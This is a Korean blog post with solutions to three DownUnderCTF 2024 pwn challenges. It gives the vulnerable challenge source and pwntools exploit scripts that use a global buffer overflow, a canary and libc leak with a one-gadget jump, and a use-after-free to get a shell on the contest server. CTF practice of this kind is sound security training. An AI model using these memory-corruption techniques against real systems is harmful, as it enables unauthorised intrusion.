ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

DownUnderCTF 2024 (Pwn)
CTF

DownUnderCTF 2024 (Pwn)

2024. 7. 8. 23:32

오랜만에 해서 그런가 감 다 떨어졌네..

 

[ solved ]

 

pwn / vector overflow

더보기
#include <cstdlib>
#include <iostream>
#include <string>
#include <vector>

char buf[16];
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};

void lose() {
    puts("Bye!");
    exit(1);
}

void win() {
    system("/bin/sh");
    exit(0);
}

int main() {
    char ductf[6] = "DUCTF";
    char* d = ductf;

    std::cin >> buf;
    if(v.size() == 5) {
        for(auto &c : v) {
            if(c != *d++) {
                lose();
            }
        }

        win();
    }

    lose();
}

 

 대충 디버거로 보고 벡터 v의 주소를 바꿔줬다.

buf+5는 디버깅할 때 보니 주소에 +5한 값들이 있길래 맞춰줬다.

 

from pwn import *

p = process('./vector_overflow')
p = remote('2024.ductf.dev', 30013)

buf = 0x4051e0

p.sendline(b'DUCTF\x00'.ljust(16,b'\x00') + p64(buf) + p64(buf+5) + p64(buf+5))
p.interactive()

 

pwn / yawa

더보기
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts("1. Tell me your name");
    puts("2. Get a personalised greeting");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

int main() {
    init();

    char name[88];
    int choice;

    while(1) {
        choice = menu();
        if(choice == 1) {
            read(0, name, 0x88);
        } else if(choice == 2) {
            printf("Hello, %s\n", name);
        } else {
            break;
        }
    }
}

 

 간단한 bof 문제로 원샷 가젯 이용했다.

from pwn import *

# p = process('./yawa')
p = remote('2024.ductf.dev', 30010)

def read_name(data):
	p.sendlineafter(b'>',b'1')
	p.send(data)

def print_name():
	p.sendlineafter(b'>',b'2')

read_name(b'A'*89)
print_name()
p.recvuntil(b'A'*89)
canary = u64(b'\x00'+p.recvn(7))
print('[canary]',hex(canary))

read_name(b'A'*104)
print_name()
p.recvuntil(b'A'*104)
libc = u64(p.recvn(6)+b'\x00'*2) - 0x29d90
print('[libc]',hex(libc))

rw_area = libc + 0x21a380
og = libc + 0xebc88
read_name(b'A'*88 + p64(canary) + p64(rw_area) + p64(og))

p.sendlineafter(b'>',b'0')

p.interactive()

 

[ unsolved ]

 

pwn / sign in

더보기

거의 다 풀었는데 마지막에 발상의 전환을 못해서 못 푼 문제..

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>

typedef struct {
    long uid;
    char username[8];
    char password[8];
} user_t;

typedef struct user_entry user_entry_t;
struct user_entry {
    user_t* user;
    user_entry_t* prev;
    user_entry_t* next;
};

user_entry_t user_list;
long UID = 1;

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts("1. Sign up");
    puts("2. Sign in");
    puts("3. Remove account");
    puts("4. Get shell");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

void sign_up() {
    user_t* user = malloc(sizeof(user_t));
    user_entry_t* entry = malloc(sizeof(user_entry_t));
    user->uid = UID++;
    printf("username: ");
    read(0, user->username, 8);
    printf("password: ");
    read(0, user->password, 8);
    entry->user = user;

    user_entry_t* curr = &user_list;
    while(curr->next) {
        curr = curr->next;
    }
    entry->prev = curr;
    curr->next = entry;
}

void remove_account(int uid) {
    user_entry_t* curr = &user_list;
    do {
        if(curr->user->uid == uid) {
            if(curr->prev) {
                curr->prev->next = curr->next;
            }
            if(curr->next) {
                curr->next->prev = curr->prev;
            }
            free(curr->user);
            free(curr);
            break;
        }
        curr = curr->next;
    } while(curr);
}

long sign_in() {
    char username[9] = {0};
    char password[9] = {0};
    printf("username: ");
    read(0, username, 8);
    printf("password: ");
    read(0, password, 8);
    user_entry_t* curr = &user_list;
    do {
        if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) {
            printf("Logging in as %s\n", username);
            return curr->user->uid;
        }
        curr = curr->next;
    } while(curr);
    return -1;
}

int main() {
    init();

    long uid = -1;
    user_t root = {
        .uid = 0,
        .username = "root",
    };
    if(getrandom(root.password, 8, 0) != 8) {
        exit(1);
    }

    user_list.next = NULL;
    user_list.prev = NULL;
    user_list.user = &root;

    while(1) {
        int choice = menu();
        if(choice == 1) {
            sign_up();
        } else if(choice == 2) {
            uid = sign_in();
            if(uid == -1) {
                puts("Invalid username or password!");
            }
        } else if(choice == 3) {
            if(uid == -1) {
                puts("Please sign in first!");
            } else {
                remove_account(uid);
                uid = -1;
            }
        } else if(choice == 4) {
            if(uid == 0) {
                system("/bin/sh");
            } else {
                puts("Please sign in as root first!");
            }
        } else {
            exit(1);
        }
    }
}

 

구조체 2개가 멤버까지 동일한 사이즈이다.

해제하는 순서와 할당받는 순서가 다르기 때문에 password가 next로 되는 상황이 발생한다.

 

이를 이용해서 next가 가리키는 곳이 0을 가리키는 포인터가 된다면 uid를 0으로 만들 수 있겠다.

gef의 dump memory를 사용해서 바이너리에 존재하는 포인터들을 싹 확인해준다.

dump memory <output_file_name> <start_address> <end_address>

dump memory bin_dump 0x0000000000400000 0x0000000000405000

 

덤프 뜬 부분에서 0을 가리키는 포인터를 찾아준다.

from pwn import *

f = open('./bin_dump','rb')
data = f.read()
f.close()

for i in range(0,len(data),8):
	value = u64(data[i:i+8])
	if 0x400000 <= value <= 0x405000:
		if u64(data[value-0x400000:value-0x400000+8]) == 0:
			print(hex(i),hex(value))

 

from pwn import *

# context.log_level = 'debug'

p = process('./sign-in')
p = remote('2024.ductf.dev', 30022)

def Signup(username,password):
	p.sendlineafter(b'>',b'1')
	p.sendafter(b'username',username)
	p.sendafter(b'password',password)

def Signin(username,password):
	p.sendlineafter(b'>',b'2')
	p.sendafter(b'username',username)
	p.sendafter(b'password',password)

def Remove():
	p.sendlineafter(b'>',b'3')

def Shell():
	p.sendlineafter(b'>',b'4')

user_list = 0x4040b0

Signup(b'z'*8,p64(0x403eb8))
Signin(b'z'*8,p64(0x403eb8))
Remove()

Signup(b'a'*8,b'a'*8)

Signin(p64(0),p64(0))
Shell()
p.interactive()

 

(나머지는 열어보지도 못했어서 시간 날 때 라업 보면서 풀어볼 예정)

https://github.com/DownUnderCTF/Challenges_2024_Public

 

GitHub - DownUnderCTF/Challenges_2024_Public: Files + Solutions for DownUnderCTF 2024 Challenges

Files + Solutions for DownUnderCTF 2024 Challenges - DownUnderCTF/Challenges_2024_Public

github.com

'CTF' 카테고리의 다른 글

DeadSec CTF 2024 (Pwn)  (0) 2024.07.28
ImaginaryCTF 2024 (Pwn)  (5) 2024.07.22
[hxpCTF 2020] kernel-rop (with write-up) (2)  (0) 2024.06.30
[hxpCTF 2020] kernel-rop (with write-up) (1)  (0) 2024.06.22
BYUCTF 2024 (Pwn)  (0) 2024.05.19
    'CTF' 카테고리의 다른 글
    • DeadSec CTF 2024 (Pwn)
    • ImaginaryCTF 2024 (Pwn)
    • [hxpCTF 2020] kernel-rop (with write-up) (2)
    • [hxpCTF 2020] kernel-rop (with write-up) (1)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바